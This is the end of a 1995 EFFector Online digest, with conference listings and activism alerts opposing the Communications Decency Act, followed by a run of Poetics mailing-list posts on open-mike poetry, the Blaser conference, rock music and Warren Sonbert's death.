28 - Workshop on Ethical & Professional Issues in Computing; Rensselaer Polytechnic Inst., Troy, NY. Deadline for submissions: Apr. 15.
Contact: [redacted] (voice), [redacted] (fax)
Email: [redacted]

June 27- 29 - Women in Technology Conference: Channels for Change; Santa Clara Conv. Ctr., Santa Clara, Calif. Speakers include: Gloria Steinem. Sponsored by Int'l. Network of Women in Technology (WITI). Contact: [redacted] (voice), [redacted] (fax) Email: [redacted]

June 28-
30 - INET '95 Internet Society 5th Ann. International Networking Conf.; Honolulu, Hawaii. Sponsored by Internet Society (ISoc).
See Jan. 13 for proposal deadline
Contact: [redacted] (voice)
FTP: ftp.isoc.org, /isoc/inet95/
Gopher: gopher.isoc.org, 1/isoc/inet95
WWW: http://www.isoc.org/inet95.html
Email: [redacted]

July 5-
7 - Key Players in the Introduction of Information Technology: Their Social Responsibility & Professional Training; Namur, Belgium. Sponsored by CREIS.
Email: [redacted], [redacted]

July 5- 8 - Alliance for Community Media International Conference and Trade Show. [See Jan. 31 for proposal submission deadline info].
Contact: Alliance c/o MATV, 145 Pleasant St., Malden, MA 02148 Fax: [redacted]; Voice: Rika Welsh [redacted] Email: [redacted]

July 5-
8 - 18th International Conf. on Research & Development in Information Retrieval; Sheraton Hotel, Seattle, Wash.
Email: [redacted]

July 6-
7 ! Interoperability & the Economics of Information Infrastructure; Freedom Forum, Rosslyn, Virginia. IITF/NSF/Harvard/FFMSC joint workshop to "analyze and evaluate economic incentives and impediments to achieving interoperability in the National Information Infrastructure. The goal is to help agencies, associations, the Administration, and the Congress to develop sound policies for realizing the vision of a seamless, interoperating NII. Deadline for proposals: Mar. 17. Deadline for submissions: June 15.
Contact: [redacted] (voice), [redacted] (fax)
Email: [redacted]

July 11-
15 - '95 Joint International Conference: Association for Computers and the Humanties, and Association for Literacy and Linguistic Computing; UCSB, Santa Barbara, Calif. Will highlight the development of new computing methodologies for research and teaching in the humanities
Contact: Eric Dahlin, [redacted] (voice)
Email: [redacted]

July 22-
26 - Syllabus'95; Sonoma State U., Rohnert Park, Calif.
"The premier conference covering the use of technology in the curriculum"
Contact: [redacted] (voice, US-only), [redacted] (voice, elsewhere)
Email: [redacted]

Subject: Quote of the Week

In light of the advent of Sen. Feinstein's draft bill, we'll keep last issue's quote of the week for this issue too:

"It is no solution to define words as violence or prejudice as oppression, and then by cracking down on words or thoughts pretend that we are doing something about violence and oppression. No doubt it is easier to pass a speech code or hate-crimes law and proclaim the streets safer than actually to make the streets safer, but the one must never be confused with the other...Indeed, equating "verbal violence" with physical violence is a treacherous, mischievous business." - Jonathon Rauch, in an essay in _Harper's_Magazine_, May 1995

Find yourself wondering if your privacy and freedom of speech are safe when bills to censor the Internet are swimming about in a sea of of surveillance legislation and anti-terrorism hysteria? Worried that in the rush to protect us from ourselves that our government representatives may deprive us of our essential civil liberties?

Join EFF!

Subject: What YOU Can Do
---

* Communications Decency Act (the Exon Legislation)

The Communications Decency Act poses serious threats to freedom of expression online, and to the livelihoods of system operators. The legislation also undermines several crucial privacy protections.

Business/industry persons concerned should alert their corporate govt. affairs office and/or legal counsel. Everyone should write to their own Senators and ask them to support the replacement of Exon's communications decency language in the Senate telecom reform bill s.652 with S. 714, Sen. Leahy's alternative to the Comm. Decency Act. Explain quickly, clearly and politely, why you feel the Exon language is dangerous.

S.652, the Senate telecom deregulation bill, now contains Sen. Exon's "Communications Decency Act" (formerly S.314.) The House version of the CDA, H.R.1004, is essentially stalled. The House telecom reform bill will almost certainly include the Leahy language, a fact that may be worth mentioning to your Senators.

For more information on what you can do to help stop this and other dangerous legislation, see:

ftp.eff.org, /pub/Alerts/
gopher.eff.org, 1/Alerts
http://www.eff.org/pub/Alerts/

If you do not have full internet access, send your request for information to [redacted].

* The Dole/Grassley Draft Internet Censorship Bill

As above, contact your Senators, and ask them to oppose this legislation, and to support the Leahy amendment to S.652.

* The Lott Draft Amendment to the Exon Legislation

As above, contact your Senators, and ask them to oppose this amendment to the Senate Telecom Bill. Ask the to not only oppose this but oppose all of the Communications Decency Act, urging them to support the Leahy alternative, currently S.714.

* The Feinstein Draft Internet Censorship Bill

As above, contact your Senators, and ask them to oppose the addition of any such legislation, particular that authored by Sen. Feinstein, to the Dole "Comprehensive Terrorism Prevention Act", S.735. You may also wish to express your concerns about other civil liberties problems raised by the bill, and encourage your Senator to vote against such proposals until a proper study and period of public evaluation an input have taken place.

* Find Out Who Your Congresspersons Are

Writing letters to, faxing, and phoning your representatives in Congress is one very important strategy of activism, and an essential way of making sure YOUR voice is heard on vital issues.

EFF has lists of the Senate and House with contact information, as well as lists of Congressional committees. These lists are available at:
ftp.eff.org, /pub/Activism/Congress_cmtes/
gopher.eff.org, 1/EFF/Issues/Activism/Congress_cmtes
http://www.eff.org/pub/Activism/Congress_cmtes/

The full Senate and House lists are senate.list and hr.list, respectively. Those not in the U.S. should seek out similar information about their own legislative bodies. EFF will be happy to archive any such information provided. If you do not know who your Representatives are, you should contact you local League of Women Voters, who typically maintain databases that can help you find out.

* Join EFF!

You *know* privacy, freedom of speech and ability to make your voice heard in government are important. You have probably participated in our online

campaigns and forums. Have you become a member of EFF yet? The best way to protect your online rights is to be fully informed and to make your opinions heard. EFF members are informed and are making a difference. Join EFF today!

For EFF membership info, send queries to [redacted], or send any message to [redacted] for basic EFF info, and a membership form.

Administrivia
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The Electronic Frontier Foundation
1667 K St. NW, Suite 801
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[redacted] (voice)
[redacted] (fax)
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Editor:
Stanton McCandlish, Online Services Mgr./Activist/Archivist ([redacted])

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End of EFFector Online v08 #07 Digest
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--Boundary (ID 5DUVCRxR4cSyiQPnYiT/yw)--

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91. Ryan Knighton
Re: Sentimentality, music etc
Wed 7 Jun 1995

It seems that this dichotomy of three-chord vs. non-three-chord music dovetails into the, albeit short, "discipline discussion. I would agree with George on the basis of craft and complexity that Hole lives up to its name. But I too find that when you aren't looking for a bravado fireworks of musical discipline, there is a raw grace to powerchords which enoys the subtlety of broad strokes. Fine. Posing I don't need. Jesus & Mary Chain, the old stuff like Psychocandy, comes to mind. Biker disco.

I find my favourite music falls into genre bending. Tom Waits and Cowboy Junkies have opened me to Western and Crooning by interrogating the conventions and storylines that accompany, usually. Tom Waits acts, assumes a voice and character: Gun Street Girl, for ex. The music follows not out of loyalty to theory or tradition, but to the costumes and cracks.

asdf

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92. Ryan Knighton
Re: discipline
Wed 7 Jun 1995

Sheila, I'm glad you enjoyed the post and I appreciate your encouragement. I think what is daunting,t o me, is that Vancouver is not yet a metropolis bursting at the seams. The result is a small scene, say, six or seven open mike venues, usually run by friends with similar expectations about mikepoetry and presuppositions about the audience. The result is deja-vu from club to club and an incestuous quality. Case in point: One reader at a local club reads everyweek with great applause and guffaw because he is soooo offensive and gross: "Fuck cops / they should die with guns up their ass" stuff. The audience gets a kick out of watching how naughty someone can be, it seems. He now has a large

following and because he sells seats his friends are reading too: same stuff. One even wrote a tribute to the "cop guy", as he's known.

I don't think this is a new situation in poetry, but it is felt more where venues and audience's are limited and liminal. It also makes me wonder more about the audience than the writer: is this a community of poetry readers which has always been, or is it new and growing?

Best,
Ryan

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93. cris cheek
Re: fibrous optical site locations
Wed 7 Jun 1995

> *cris, hi:*
>
> *--with respect to what you noted regarding the formation of a list for visual/sound poetry, i'm told a list can be enacted here (at simon fraser univ. in vancouver), and if you wish to consider that i can get the ball rolling. but i know this is completely your baby, and it will remain so. like yourself, though, i have a serious interest in and love of "concrete," and want to do anything i can to re-invent the public for it. but it's your call*
>
> *look forward to hearing from you*
> *carl*

Carl, all bowing and kssing of hands aside - help - it's not 'my baby', the point I was hoping to make. It's a shared interest and I was seekng a simple mechanism for exchange. So if there's majordomo tech at Simon Fraser and there's the energy to set that in motion I'd say great, please go for that.

> *cris--*
>
> *yesterday blair sent me a gif of a visual poem via e-mail. it worked beautifully! this is the way to go!*

Backing this message up. That's all. Waiting to hear from others but my sense is go on Carl - yep, let's move. Doesn't preempt poetics list discussions or digests in that space either.

love and love
cris

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94. Kevin Killian
Re: Warren Sonbert 1947-1995
Wed 7 Jun 1995

Thank you Charles for reminding us all about Warren Sonbert.

> *Warren Sonbert died on Wednesday, at home and surrounded by friends. He was 47 years old.*

He
>seemed to live a charmed life -- travelling the world, attending operas in
>Europe and North American, having his work shown at Festivals and museums.
>But charms are haunted.
>

Oh how I remember how I kept bugging Warren to "cast" me in one of his films & him explaining patiently that his films weren't really "cast" in that way-he said once that my shadow could appear in one-but that wasn't enough for me . . . I remember how he was so generous & expansive & we argued about George Cukor over and over. How when my 2nd play appeared he wrote this thumbs-up review in the paper that thrilled all of us who were in it, tho' I knew he only came in the 1st place to take in Carla Harryman's skillful, wiggy impersonation of Dodie. Oh, when will this terrible disease leave us all alone & go back to whatever hole it climbed out of in space, but that will never happen unless we do more. God bless him & thank you again, Charles.

-Kevin Killian

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95. beard
Re: open mike scene, music etc.
Wed 7 Jun 1995

Various posters on open readings:

> *But there is an open-mike circuit in Vancouver which is not interested in "traditions" or the discipline which informs a work. Rather, it is a fast, aggressive and usually nihilistic crowd which resents academically informed work. I think Patrick Lane described this circuit of poets as wanting poems to work like t.v. chat shows: confessional, sensational, voyeuristic and quick. I suppose this is a tradition now, maybe cultivated from a media interpretation of the beats, on the surface.*
>
> *question of whose camp one is in: the university has never recognized anything as poetry except that which it chooses to anthologize, and its anthologies reflect its concerns. The open mike business is*

> *anarchic, poet as punk, and doesn't leave a record of itself because it can't concentrate that long. Then there are people like me on the margins of both comfortable in neither. Now what, eh?*

This is the gap into which I've fallen, too. I've never felt comfortable in the poets' pub scene - too many first-years in DMs in love with the idea of being a Poet, rather than with poetry itself. On the other hand, I feel distanced from the university scenes (not having studied the arts at university) and believe that poetry _deserves_ an audience wider than a small circle of poets and professional critics.

I used to run the NZ Poetry Society in Wellington, and this was the closest thing to a happy medium that I've come across. There were a fair number of people not directly associated with the Victoria University Press mafia, but still with a serious interest in poetry as literature (rather than therapy), involved in the society. Of course, the open readings always attracted a hard core of (WARNING! non-PC terms ahead) little old ladies reading haiku about their cats, and gruff old men reciting ballads about pig hunting, but at least there was an attentive audience for difficult, thoughtful, and/or experimental work.

> *Ironically, his love of OPERA--especially aryan opera--and other "difficult high culture"(and yes I know opera was ORIGINALLY low culture--like jazz before it was called "African American Classical") was not parelleled in his love of literature--he went for the Bly, Hugo,Logan nexus in poetry. I on the other hand preferred Ashbery, O'Hara, etc---but to "unwind" found myself listening more to rock and blues and reggae and stuff than classical and even jazz...*

It's interesting that the "alternative" sub-culture of pub poetry is far more conservative stylistically (and even in terms of content) that what might be termed the "mainstream", whereas the opposite is the case in pop music. I wonder if this is because populist (written) poetry does not really exist these days, so that the "mainstream" is defined by academic and government-funded cultural groups, rather than commercial demand. Hence your average pub poet fumes because his predictable and poorly-written teen-angst rant was rejected by Landfall, and consoles himself by telling himself that he is too dangerous and radical for the conservative elite. Maybe if pop music worked the same way, then M People and Brian Adams would consider themselves subversive.

> *Oh I like Nirvana and Hole and Abba,*
> *and Debussy and Ravel and Berio, but I absolutely hate any jazz other than fifties be-bop.*

I've never been able to understand the appeal of grunge. Maybe I'm Generation W (I'd much rather wear Armani than Mossimo). I got fed up with the way that pub poets idolise the cliche of poet as self-destructive visionary outsider, a la Bukowksi, Dylan Thomas, James K. Baxter, Jim Morrison etc. After sitting

through one too many "Elegy for Kurt Cobain", I wrote the following, and read it at the poets' pub:

That stupid club

Hart Crane

Sylvia Plath

Anne Sexton

John Berryman

Ian Curtis

Kurt Cobain

...think of it
as evolution in action

Well, it got a reaction at least (the last lines are from Niven and Pournelle). Apologies to anyone on the list who might have known any of the above - it's the _romanticisation_ of suicide to which I object.

I still read occasionally at the poets' pub in Auckland, but I won't be for a while, since on Monday nights I'll be attending a writing group run by Alan Loney. I guess that shows where my allegiances might be heading!

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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96. Carl Lynden Peters
Re: fibrous optical site locations
Wed 7 Jun 1995

criss,

ok, i'll see what i can do, and get back to you soon

take care,
carl

↑ Index

97. Reginald Johanson
discipline
Wed 7 Jun 1995

On June 6, George Bowering said that the open mike scene was usually dissapointing. And I would say yes it is--but disappointing to whom, and why? Disappointing very often to me, but is that strictly a matter of bruised ego that then gets intellectualized into a statement like "they wouldn't know a good poem if one slapped them in the face"? I think there may be something of this in my disappointment. And, as someone else has mentioned here (sorry name escapes me) the young poet whose stuff is rejected by the lit. establishment university people says the same thing and goes to the open mike night where they *really* appreciate *real* poetry etc. So maybe, if myself and others are on the margins between these two (and other) traditions that's actually a rather dynamic place to be, drawing (hopefully) on the best of all of it. reg

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98. Kevin Killian
Report on Blaser Conference
Wed 7 Jun 1995

Maria Damon wrote:

> *speaking of the blaser conference, cd someone --or several of you --so we can compile a composite profile --give us a report over the net for those of us who are interested but unable to attend? hi pts, lo pts, entertaining anecdotes, and overall vibe-picture? how's he doing anyway? descriptions, poems, riffs, meditations and reminiscences? thanks in advance! --maria d*

My Report-Kevin Killian

Brief & sketchy. Okay, well the "hi pts" for me were as follows:

Dodie is right about Susan Howe & that she stole the show during this one long reading with 22 poets. She stood on tiptoes and read & made everyone else seem half baked-no-pallid. Well actually I enjoyed some other readings quite a bit-incl. Deanna Ferguson, Dorothy Lusk Trujillo or whatever her name is, and other Canadian poets new to me. Pierre Joris, your camel poem sure pleased the crowd, or was it camels, or horses?

Steve McCaffery is a God. Susan Clark gave a very emotional, moving reading, and Lisa Robertson is becoming the new updated Elizabeth Smart. I had heard Karen MacCormack here in San Francisco before, but now she is even better, understated, in control, dignified, a dynamo too.

Joanne Kyger read a piece about seeing Quan Yin-the Buddhist goddess-or whatever-and Dodie interviewed her in the women's "washroom" asking her if

she really saw Quan Yin and JK said, "Yes, but you have to be on the right substance."

Gosh, I seem to be praising all these women, well, that's me to a T. I didn't even mention Anne Waldman yet, a show all to herself . . . And what about that Rachel Blau Du Plessis! Rachel if you're listening to this, "Drafts" 24 has opened up to a new theatricality & largeness of expression and scope that's just marvelous.

Several have noted how Robin was in attendance during every event-for 4 days, from 9:30 a.m. till past midnight. Needless to say I didn't match his record & there were several panels I skipped or missed. I don't have his stamina-however maybe if it was all about me I would have attended it all too. His reading which climaxed the whole affaire was outstanding, he read "Exody," "Even on Sunday," the new poem "Nomad" and another poem that's in progress, very much so.

Great starpower! Speaking of which, I have a new dream man, Canadian poet & novelist Michael Ondaatje. We had heard that he was the sexiest writer in Canada, which is not quite the case close up, but nevertheless he has piercing blue eyes & this wonderful accent I could listen to for a week on end. Dodie spotted him first but I wasn't far behind. After that, all he had to do was open his mouth or eyes and we were transfixed, like two American rabbits caught in the headlights of an oncoming car. Duh. A genius as far as I'm concerned. Dodie was quite jealous when she overheard M.O. telling Catriona Strang that she was brilliant.

Okay, but Catriona was brilliant; the performance she gave with Francois Houle, the avant-garde clarinetist, playing 2 clarinets at once at times, while Catriona barked out syllables, words, gritty demanding sentences, around the letters "R" and "B" made a sensation at the Festival Opening. Charles Bernstein opened the "opening" with a very smart witty talk that hit the right notes, including a rapidfire mention of all the groups Robin has been associated with (Boston Gang, Vancouver poets, SF Renaissance, New American poets, Berkeley Renaissance) then reminding us that he has been all these things and more and none.

The organizers worked like dogs. I felt sorry for them but they did not seem to be feeling sorry for themselves. Bravo to all! I saw most of Charles Watts and Karen Tallman but everyone seemed totally together.

I did feel the strange disquieting presence of Warren Tallman, like a ghost, haunting the whole conference and the whole city and I kept wondering what he was making of all this hoopla.

One man called "Robert Hullot-Kentor" gave a fine, iconoclastic paper, very Adorno-based, basically saying that there's no point to recovering the public world, that today there's no public and in fact no world.

Next door to the Emily Carr School where the panels were held was a very fine show called "In Search of Orpheus: Some Bay Area Poets & Painters 1945-65," curated by Scott Watson. Jess, Tom Field, Harry Jacobus, Blaser himself, Lyn Brockway, a bright crayon drawing by Spicer, etc., etc, most of the work from Blaser's own collection. Here the work of Fran Herndon shone like a revelation. Here were the lithographs she did for Spicer's book The Heads of the Town up to the Aether, and the larger sports-themed collages you can see reproduced in Jim Herndon's book "Everything as Expected." Fran Herndon was in Vancouver attending the conference in person & received a tremendous ovation when picked out of the audience and introduced. It's about time such a talented artist began receiving the recognition due her. So to see it all happening before one's eyes was an incredible lift. (Best news is, some of the work-including that shown at the gallery- is for sale) (and not expensive either) (E mail me for more details if you're interested)

Kristin Prevallet made a stir with her slide presentation, during the first panel, "Companions," outlining the life & work of the late Helen Adam. Prevallet's research into the Adam papers at the Lockwood Library showed us all for the first time the extent and power of Adam's greatness as a poet & writer. And artist too, for Prevallet was able to bring out of the archives several-eight or nine?-of Helen Adam's unique collage-based works, which were shown in the Scott Gallery as part of the Orpheus show-in fact it's hard to figure how incomplete the show would have been without them.

For bibliophiles-the appearance of a dozen or so copies of Helen Adam's rare White Rabbit book "The Queen o' Crow's Castle" (1958) ill. by Jess-on the book table-for sale-and only $15.00 (Canadian) apiece-would have made you swoon! Try and get one in San Francisco for less than $100.00 (American)-and these were white as snow, no trace of fading or foxing-MINT! Well-they're all gone now for sure!

In fact the book table-book section-organized by Vancouver's Black Sheep Books-was totally tempting & I must have spent, oh, God, I don't even want to remember.

I had fun having lunch with Joanne Kyger, Dora FitzGerald, George Stanley and Fran Herndon one sunny afternoon & then all of them sparking each other to more and more remembrances of Spicer faster than I could take it all in . . . and introducing them to Kristen so that they could tell her all about Helen Adam . . . I had this eerie feeling of history right in my hands.

There could have been another wonderful reading just culled from those who were there in the audience, quite a swell crowd including Lee Ann Brown, Elizabeth Willis, Erin Moure, Myung Mi Kim, Kevin Magee, Laynie Browne, Matthew Stadler, Colin Smith, etc., etc.

I felt safe going up to Vancouver because, with the help of so many pals, I had secured quite a number of "tributes" to Robin from those who could not attend. With those in my attache case I felt like a king. Ellen Tallman & I got to read them out loud at the dinner. Some of them were from people on this Poetics List, and I will be writing to you privately, each of you, to thank you at length, but for now let me close by thanking you all in toto-Giorgio Agamben, Don Allen, Bruce Andrews, James Broughton, Cid Corman, Robert Creeley, Samuel R. Delany, Allen Ginsberg, Robert Gluck, Barbara Guest, Thom Gunn, Lyn Hejinian, Jess, Robert Kelly, Gerrit Lansing, Denise Levertov, Jackson Mac Low, Bob Perelman, Avital Ronell, Claude Royet-Journoud, Ron Silliman and I'm leaving 1 or 2 out. But thanks to you all!

And then to come back home and realize that Warren Sonbert was dying just when DB and I were getting onto the plane.

All right! That's enough from me. P.S., to Maria, Dodie is still going to mail you her version of events, BlaserFest Back Channel. You too Rae.

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99. Alan Sondheim

Re: Sentimentality, music etc

Wed 7 Jun 1995

I had another meeting with someone from Cybermind today and we were talking about alternative rock music and both realized that strangely enough it's the one area that's remained impervious to academia. Even performance art/video have their place in the middle of the university, but it's hard to assimilate Hole and the like and that's part of what's incredible about the music, that it can be analyzed (to death) within institutional structures, but remains outside, even with recording contracts, etc. Just a look at CBGB's compared to St. Mark's down the street or a writing class. So there's a lot of nervous energy and some incredible stuff going on at what might still be considered the margins (Soul Coughing for example)...

Alan

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100. Alan Sondheim
Re: sentimentality
Wed 7 Jun 1995

I've known a fair number of rock stars, some were students of mine, some just friends, and they took their work as seriously as I take mine or as the poets I've known take theirs. I don't see why rock isn't as much an art as any other cultural form; I don't even see what possible argument could be made against it. If you don't like it, fine, but not to _recog- nize_ it as art is something else again. I wouldn't want to be the student for example of someone who couldn't understand why I'd take Hole, whatever, seriously.

Alan

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101. Lindz Williamson
hole
Wed 7 Jun 1995

On Tue, 6 Jun 1995, George Bowering wrote:

> *I dont know where Lindz gets the idea about east-west bashing at the Blaserfest and readings. I was there all the way and didnt notice it. It is also not true that Ondaatje was the only eastern Canadian poet at the readings; there were plenty. McCaffery and Mac Cormack, Robt Hogg, Victor Coleman, for examples. Erin Moure was there. And we embraced all these people as ourselves.*

I seem to remeber several references to grilling and serving sundried things in a couple poems, which are things I never hear or see in TOronto. Victor himself who just moved west 18 months ago seemed pretty eager to boast of seeing the light and moving west. At the same time there was a sense of I've been ther, done that, lived the tough life in the east, but I'm adjusting to things out here.

Aswell personally I don't mind Hole, it's good to listen to loud and jump around to when I'm feeling pissy. But Courtney Love is an idiot. I read in an interview with Trent Reznor(Nine Inch Nails) that when she was opening for them she passed out on a pool table after a show. HEr band mates proceeded to hike her dress up under her pits and snap shots of her panties and bare ass. Now that is grunge.

Lindz

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102. **Charles Watts**
Re: adios muchachos
Wed 7 Jun 1995

Lindz,

You forgot to mention (notice?) that in addition to Michael Ondaatje, there were Bob Hogg (Ottawa), Steve McCaffery (Kingston/Toronto), Karen Mac Cormack (ditto), Jed Rasula (ditto), and Victor Coleman (Toronto if there ever was one). And from east of Vancouver but still in the west: E.D. Blodgett (Edmonton), Fred Wah (Calgary), Hilary Clark (Sakatoon). Certainly not a huge showing of easterners, but certainly not an attempt to freeze out easterners.

In fact: Brian Fawcett (previously of Vancouver but now of Toronto) was asked (couldn't come); Lola Tostevin (Toronto) was asked, thought she might, but ultimately couldn't come; Nicole Brossard (Montreal) was asked; couldn't come. A serious miss, someone I wanted to have but never quite got to: Chris Dewdney (Toronto). It would have been wonderful to have Chris there, as it would have been to have Nicole and Lola and Brian. Yes, it's true, there was a much greater representation of the Canadian west than of the east (what would you expect of a festival in honour of a poet whose residence for the past thirty years has been in Vancouver, whose closest friends are in Vancouver?) but "Toronto bashing?" Never even a consideration. Remember that Coach House (Toronto) published THE HOLY FOREST. More important issues than local rivalries were the stuff of the conference. I can't imagine a non-issue more beside the point, or more grotesquely misrepresenting the spirit of the conference and festival--which included quite a few writers from outside Canada.

Charles Watts>

> *But when you say, "He tells me you don't get enough Canadian stuff and we'll be pleased to supply, but not represent the whole as the Conference was a "western" affair. Lots of Toronto bashing was in the air." -- I'm not certain what you mean, or if you are just replying to Ryan in some personal way I don't get. Just know that not all tuned to this list have loyalties to Toronto or Vancouver or Buffalo or any particular place. My own are curiously displaced toward the Arizona desert, where there are a few people who are on this poetics list as well.*
>
> *Charles,*
>
> *I wasn't replying to Ryan, rather Ryan was approached by Kevin Killian at the reading last night and I accompanied Ryan to the reading along with Reg (new to the list). Kevin expressed an interest in receiving new Canadian poetry from Ryan and I and any others we knew because he had little except from established writers. The western*

> *reference is just part of the continuing war amongst East and West in Canada. We the west (Granola Heads) enjoy poking at the Snobs with snow in the east. As far as I know Ondaatje was the only Eastern based writer at the reading last night.*
>
> *It's all part of the Canadian mentality, if you say you're driving across Canada it means you're either going east to Toronto or Montreal, or west to Vancouver. The prairies and the maritimes although great sources of Canadian culture are not included in the concept of the civilized world. They are a source of great insecurity and pride. My Mom's a maritimer (Newfie) which puts me at the but of several jokes. I'll leave you with one (note my Mom has seven brothers)*
>
> *How does a Newfie girl stay a virgin?*
>
> *Run faster than her brothers.*
>
> *Lindz*

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103. Reginald Johanson
sentimentality
Wed 7 Jun 1995

Whenever I want to take pop music "seriously", I'm almost always defeated by the musicians themselves, many of whom would find this (w)Hole discussion completely absurd: "Artists?" I can hear them saying, "we'd rather be dead than artists. Pete bloody Townshend thinks he's an artist." reg

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104. Mark Roberts
Re: sentimentality
Wed 7 Jun 1995

> *Whenever I want to take pop music "seriously", I'm almost always defeated by the musicians themselves, many of whom would find this (w)Hole discussion completely absurd: "Artists?" I can hear them saying, "we'd rather be dead than artists. Pete bloody Townshend thinks he's an artist."*
> *reg*

I thought Pete "bloody" Townshend was a poet!!! Seriously, I 'discovered' poetry by reading the lyrics to rock songs as a teenager and I still think 'pop' music can be taken seriously. Of course there is pop music and pop music - one

might have trouble taking Abba seriously while it is far too easy to take Nick Cave seriously! Could I ask the question can one take 'jazz' seriously. I mean some of those jazz players.....

Mark

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105. **Mark Roberts**
Re: Sentimentality, music etc
Wed 7 Jun 1995

> *I had another meeting with someone from Cybermind today and we were talking about alternative rock music and both realized that strangely enough it's the one area that's remained impervious to academia. Even performance art/video have their place in the middle of the university, but it's hard to assimilate Hole and the like and that's part of what's incredible about the music, that it can be analyzed (to death) within institutional structures, but remains outside, even with recording contracts, etc. Just a look at CBGB's compared to St. Mark's down the street or a writing class. So there's a lot of nervous energy and some incredible stuff going on at what might still be considered the margins (Soul Coughing for example)...*
>
> *Alan*

There have been some attempts that have almost succeeded. Back in the late 70's when I was an undergrad at Sydney Uni the Philosophy dept had split in two with the traditional philosophers going one way and the marxists, feminists, punks etc going the other. I remember some amazing aesthetics discussion on punk culture/music . Some of the lecturers were in a band called The Slugfuckers - great stuff.

Mark

↑ Index

106. **Alan Sondheim**
Re: sentimentality
Wed 7 Jun 1995

Depends on the musicians. Many of the ones I know would find it absurd _not_ to be considered artists. The same as poets or any other group.

And who cares how Courtney behaves? Rimbaud was a model, Chatterton? People are people...

Alan

On Wed, 7 Jun 1995, Reginald Johanson wrote:

> *Whenever I want to take pop music "seriously", I'm almost always defeated by the musicians themselves, many of whom would find this (w)Hole discussion completely absurd: "Artists?" I can hear them saying, "we'd rather be dead than artists. Pete bloody Townshend thinks he's an artist."*
> *reg*

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107. Lindz Williamson
sensitive
Thu 8 Jun 1995

I only attended the sunday night reading, not the Saturday night reading which had a by far more diverse and longer line up. I was merely refering to murmurs I heard in passing through the crowd during the intermissions. I might be hyper sensitive to Easterns because of recent experiences on campus when young Torontonians folk west to get their BA, take up snowboarding and excahnge snow for mild rainy winters. All I ever hear is " This is such a town. . ." "We had/ got /did / this ages ago in Toronto. . ." " Everyone is so laid back and happy here, what's wrong with you people." and so forth. I was merely pleased that on Sunday the west was being appreciated. Some of my favorite writers are from the east, some of my most dear friends are in the east.
But what I've constantly been overwhelmed by lately is the emerging regionality of Canada. In matters of economy, geography, and social atmosphere I find relationships form from North to South. Seattle has more incommon with Vancouver than Calgary, Winnipeg or Toronto. In matters of writing I find the same trend follows. I can only write what I know and feel and represent wher I have been. And from MY interpretaion of the SUnday night reading western Canadian experinces were largely the basis of the reading. Victor even presented a poem (the title escapes me) about how he had to adjust to living in Vancouver (remember the alphabet poem). Ondaatje spole beautifully of the unearthing of Buddhist statues, now although he resides in eastern Cnada this is an out of Province, country, continent, experience. He may not write about Canada, but I belive Cnada does exsist if not influence his writing. Would coming through slaughter be the same book if was written in the Queen Charlottes? Or a better example is Runnign In the Family, the duality of experience between Sri Lanka and Canada is totally evident in the writing.
My point is geography affects/ infects not only writing, but audiences, and conferences, and readings.

LIndz

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108. John Byrum
Re: sentimentality
Thu 8 Jun 1995

Hey George, listen to some Nirvana. Good stuff, some interesting lyrics reminiscent of Lang Po approaches to composition; sung in gravelly voice and "scream style", with suitably "bad" "I can't give a shit 'cause the world's too fucked up (teen angst)" guitars & arrangements.

Nirvana was the best available in the current "alternative" entertainment scene.

NOTE: This reply has:
Half of tongue in cheek, half drug along ground.

John Byrum

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109. Michael Boughn
More on the Blaser Do
Thu 8 Jun 1995

Further high points of the Blaser conference for me included Kevin himself (too modest, I guess, to mention his own performance) with his darkly humourous account of the inescapable brutalities of eros in the Blaser/Duncan/Spicer circles, Peter Quartermain's marvelous discussion of laughter generally and specifically in Robin's poems, George Stanley's poetic response to the eros panel, Peter Middleton's wonderful invocation of Winie the Pooh in his discussion of performance, Steve Dickison's discussion of various musics (Feldman, Nono, etc.) contemporary with Robin's writing employing parallel compositional principles, and the conversation provoked by the last panel between Don Byrd, Charlie Altieri, and Robin about questions of agency, form, and structure. Even in sketching out this little recollection, I'm leaving out so much that I enjoyed and was provoked by. Kevin pretty well covered the poetry (and music) part of things, although let me just mention here the readings by Norma Cole (remember her "catastrophes"?) and Michelle Leggott. Not to mention Fred Wah and George Bowering. Wow. I could just go on and on. I'm still buzzing.

Robert Hullot-Kentor's presentation on the impossibility of recovering a public world when the world is determined by the Market was certainly provocative and interesting, though I did feel we may have recovered a little corner of it, or at least temporarily occupied it. (It was toward the back of that big open market where a group of us had lunch.) The fact that this moment was made possible by and pitched its tent in the middle of Robin's poetics was itself a testament to the continuing power of the image to move us to marvels. It may not have been

the Pyramids or Chartres Cathedral, but, man, we were, as they (used to) say, groovin'.

Best,
Mike
[redacted]

↑ Index

110. Charles Bernstein
Warren Sonbert
Thu 8 Jun 1995

---

* * * Independent filmmaker Warren Sonbert, 47, died May 31 at his home in San Francisco, of complications from AIDS. His work is of particular interest to poets, and not just because he counted many poets and writers, especially in New York and San Francisco, among his friends.

Warren's career as a filmmaker began in the mid-60s while he was still at NYU film school. Although based in San Francisco since the early 1970s, he spent much time in New York and traveled frequently throughout North America and Europe, making nearly 200 personal appearances at one-person shows of his work. Passionate interest in film, opera, classical music, other performing and visual arts, and travel is reflected in his films, which document a life totally engaged in art and in the daily experience that provides the artist's material.

The titles of his later films reveal a poet's concern with ironies and valences of received phrase--Carriage Trade, Rude Awakening, Divided Loyalties, Noblesse Oblige, A Woman's Touch, The Cup and the Lip, Honor and Obey, Friendly Witness, Short Fuse--just as his earlier titles conjure up the mid-60s New York underground where he came on the scene--Amphetamine, Where Did Our Love Go?, Hall of Mirrors, Truth Serum, The Bad and the Beautiful, Holiday--not to mention his lifelong fascination with Hollywood and the narrative film.

Warren's own work is non-narrative, not following characters through a foregrounded plotline but, rather, has been called collisional montage. "Critics have tried to pin down Sonbert's cinema with catchy formulations . . . . His works are not really diary films, since their carefully shaped contours are determined more by aesthetic insight than daily experience, and to compare them with 'explosions in a postcard factory' is to acknowledge their boisterous variety while missing their ecstatic precision," wrote Christian Science Monitor review David Sterritt.

Of his own work, Warren said, "I think the films I make are, hopefully, a series of arguments, with each image, shot, a statement to be read and digested in

turn," ("Film Syntax," a transcript of a talk that is at once an intensely close reading of several shot sequences and a primer on the art of film, published in Hills, 1980, republished by So. Illinois University Press in Hills/Talks, ed. Bob Perelman).

